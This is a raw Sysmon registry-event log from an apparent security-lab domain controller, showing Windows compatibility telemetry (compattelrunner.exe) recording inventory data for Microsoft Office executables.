14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\misc.exe|88c5db986dc6d3ce\BinProductVersion16.0.13801.20840 13241300x800000000000000043657Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\misc.exe|88c5db986dc6d3ce\LinkDate07/29/2021 06:55:41 13241300x800000000000000043656Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\misc.exe|88c5db986dc6d3ce\Publishermicrosoft corporation 13241300x800000000000000043655Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\misc.exe|88c5db986dc6d3ce\LowerCaseLongPathc:\program files\microsoft office\root\vfs\windows\installer\{90160000-001f-040c-1000-0000000ff1ce}\misc.exe 13241300x800000000000000043654Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\misc.exe|74c239057bc7b55b\BinProductVersion16.0.13801.20840 13241300x800000000000000043653Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\misc.exe|74c239057bc7b55b\LinkDate07/29/2021 06:55:41 13241300x800000000000000043652Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\misc.exe|74c239057bc7b55b\Publishermicrosoft corporation 13241300x800000000000000043651Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\misc.exe|74c239057bc7b55b\LowerCaseLongPathc:\program files\microsoft office\root\vfs\windows\installer\{90160000-001f-0409-1000-0000000ff1ce}\misc.exe 13241300x800000000000000043650Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\misc.exe|6a82b5241464385b\BinProductVersion16.0.13231.20098 13241300x800000000000000043649Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\misc.exe|6a82b5241464385b\LinkDate09/08/2020 05:38:09 13241300x800000000000000043648Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\misc.exe|6a82b5241464385b\Publishermicrosoft corporation 13241300x800000000000000043647Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\misc.exe|6a82b5241464385b\LowerCaseLongPathc:\program files\microsoft office\root\office16\misc.exe 13241300x800000000000000043646Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\misc.exe|34dbf5ff896a9c69\BinProductVersion16.0.13801.20840 13241300x800000000000000043645Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\misc.exe|34dbf5ff896a9c69\LinkDate07/29/2021 06:55:41 13241300x800000000000000043644Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\misc.exe|34dbf5ff896a9c69\Publishermicrosoft corporation 13241300x800000000000000043643Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\misc.exe|34dbf5ff896a9c69\LowerCaseLongPathc:\program files\microsoft office\root\vfs\windows\installer\{90160000-000f-0000-1000-0000000ff1ce}\misc.exe 13241300x800000000000000043642Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\microsoft.mashup|f091cf2f235e136d\BinProductVersion0.0.0.0 13241300x800000000000000043641Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\microsoft.mashup|f091cf2f235e136d\LinkDate02/11/2021 13:39:51 13241300x800000000000000043640Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\microsoft.mashup|f091cf2f235e136d\Publishermicrosoft corporation 13241300x800000000000000043639Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\microsoft.mashup|f091cf2f235e136d\LowerCaseLongPathc:\program files\microsoft office\root\office16\addins\microsoft power query for excel integrated\bin\microsoft.mashup.container.netfx45.exe 13241300x800000000000000043638Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\microsoft.mashup|a56df878940cffa2\BinProductVersion0.0.0.0 13241300x800000000000000043637Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\microsoft.mashup|a56df878940cffa2\LinkDate02/11/2021 13:39:53 13241300x800000000000000043636Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\microsoft.mashup|a56df878940cffa2\Publishermicrosoft corporation 13241300x800000000000000043635Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\microsoft.mashup|a56df878940cffa2\LowerCaseLongPathc:\program files\microsoft office\root\office16\addins\microsoft power query for excel integrated\bin\microsoft.mashup.container.netfx40.exe 13241300x800000000000000043634Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\microsoft.mashup|2c539c4e8f922a27\BinProductVersion0.0.0.0 13241300x800000000000000043633Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\microsoft.mashup|2c539c4e8f922a27\LinkDate02/11/2021 13:39:51 13241300x800000000000000043632Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\microsoft.mashup|2c539c4e8f922a27\Publishermicrosoft corporation 13241300x800000000000000043631Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\microsoft.mashup|2c539c4e8f922a27\LowerCaseLongPathc:\program files\microsoft office\root\office16\addins\microsoft power query for excel integrated\bin\microsoft.mashup.container.exe 13241300x800000000000000043630Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\microsoft.mashup|237e2a2192600ea3\BinProductVersion2.85.167.0 13241300x800000000000000043629Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\microsoft.mashup|237e2a2192600ea3\LinkDate08/21/2020 23:48:00 13241300x800000000000000043628Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\microsoft.mashup|237e2a2192600ea3\Publishermicrosoft corporation 13241300x800000000000000043627Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\microsoft.mashup|237e2a2192600ea3\LowerCaseLongPathc:\program files\microsoft office\root\office16\addins\microsoft power query for excel integrated\bin\microsoft.mashup.container.loader.exe 13241300x800000000000000043626Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\lyncicon.exe|cf5ccf14e5b4e8d6\BinProductVersion16.0.13801.20840 13241300x800000000000000043625Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\lyncicon.exe|cf5ccf14e5b4e8d6\LinkDate07/29/2021 06:59:08 13241300x800000000000000043624Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\lyncicon.exe|cf5ccf14e5b4e8d6\Publishermicrosoft corporation 13241300x800000000000000043623Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\lyncicon.exe|cf5ccf14e5b4e8d6\LowerCaseLongPathc:\program files\microsoft office\root\vfs\windows\installer\{90160000-000f-0000-1000-0000000ff1ce}\lyncicon.exe 13241300x800000000000000043622Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\lynchtmlconv.exe|963a17d6e811cd33\BinProductVersion16.0.13801.20864 13241300x800000000000000043621Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\lynchtmlconv.exe|963a17d6e811cd33\LinkDate08/05/2021 03:33:18 13241300x800000000000000043620Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\lynchtmlconv.exe|963a17d6e811cd33\Publishermicrosoft corporation 13241300x800000000000000043619Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\lynchtmlconv.exe|963a17d6e811cd33\LowerCaseLongPathc:\program files\microsoft office\root\office16\lynchtmlconv.exe 13241300x800000000000000043618Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\lync99.exe|11bf44393ed6256a\BinProductVersion16.0.13801.20864 13241300x800000000000000043617Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\lync99.exe|11bf44393ed6256a\LinkDate08/05/2021 03:48:31 13241300x800000000000000043616Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\lync99.exe|11bf44393ed6256a\Publishermicrosoft corporation 13241300x800000000000000043615Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\lync99.exe|11bf44393ed6256a\LowerCaseLongPathc:\program files\microsoft office\root\office16\lync99.exe 13241300x800000000000000043614Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\lync.exe|2fa06986cf265aad\BinProductVersion16.0.13801.20864 13241300x800000000000000043613Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\lync.exe|2fa06986cf265aad\LinkDate08/05/2021 03:31:00 13241300x800000000000000043612Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\lync.exe|2fa06986cf265aad\Publishermicrosoft corporation 13241300x800000000000000043611Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\lync.exe|2fa06986cf265aad\LowerCaseLongPathc:\program files\microsoft office\root\office16\lync.exe 13241300x800000000000000043610Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\joticon.exe|fbcbe724436d069f\BinProductVersion16.0.13801.20842 13241300x800000000000000043609Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\joticon.exe|fbcbe724436d069f\LinkDate07/30/2021 00:22:11 13241300x800000000000000043608Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\joticon.exe|fbcbe724436d069f\Publishermicrosoft corporation 13241300x800000000000000043607Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\joticon.exe|fbcbe724436d069f\LowerCaseLongPathc:\program files\microsoft office\root\vfs\windows\installer\{90160000-000f-0000-1000-0000000ff1ce}\joticon.exe 13241300x800000000000000043606Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\integrator.exe|1b5d0d4b4f0be95e\BinProductVersion16.0.13801.20476 13241300x800000000000000043605Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\integrator.exe|1b5d0d4b4f0be95e\LinkDate04/07/2021 00:46:49 13241300x800000000000000043604Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\integrator.exe|1b5d0d4b4f0be95e\Publishermicrosoft corporation 13241300x800000000000000043603Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\integrator.exe|1b5d0d4b4f0be95e\LowerCaseLongPathc:\program files\microsoft office\root\integration\integrator.exe 13241300x800000000000000043602Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\iecontentservice|f42fbf118c5a773\BinProductVersion16.0.13801.20864 13241300x800000000000000043601Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\iecontentservice|f42fbf118c5a773\LinkDate08/05/2021 03:30:31 13241300x800000000000000043600Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\iecontentservice|f42fbf118c5a773\Publishermicrosoft corporation 13241300x800000000000000043599Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\iecontentservice|f42fbf118c5a773\LowerCaseLongPathc:\program files\microsoft office\root\office16\iecontentservice.exe 13241300x800000000000000043598Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\grv_icons.exe|d24c93c0e0170bfb\BinProductVersion16.0.13801.20840 13241300x800000000000000043597Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\grv_icons.exe|d24c93c0e0170bfb\LinkDate07/29/2021 06:59:19 13241300x800000000000000043596Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\grv_icons.exe|d24c93c0e0170bfb\Publishermicrosoft corporation 13241300x800000000000000043595Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\grv_icons.exe|d24c93c0e0170bfb\LowerCaseLongPathc:\program files\microsoft office\root\vfs\windows\installer\{90160000-000f-0000-1000-0000000ff1ce}\grv_icons.exe 13241300x800000000000000043594Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\graph.exe|9e2331c7d66bcaeb\BinProductVersion16.0.13801.20864 13241300x800000000000000043593Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\graph.exe|9e2331c7d66bcaeb\LinkDate08/05/2021 03:31:13 13241300x800000000000000043592Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\graph.exe|9e2331c7d66bcaeb\Publishermicrosoft corporation 13241300x800000000000000043591Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\graph.exe|9e2331c7d66bcaeb\LowerCaseLongPathc:\program files\microsoft office\root\office16\graph.exe 13241300x800000000000000043590Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\fltldr.exe|3fca25c5b23cb198\BinProductVersion16.0.13801.20442 13241300x800000000000000043589Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\fltldr.exe|3fca25c5b23cb198\LinkDate04/01/2021 21:25:38 13241300x800000000000000043588Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\fltldr.exe|3fca25c5b23cb198\Publishermicrosoft corporation 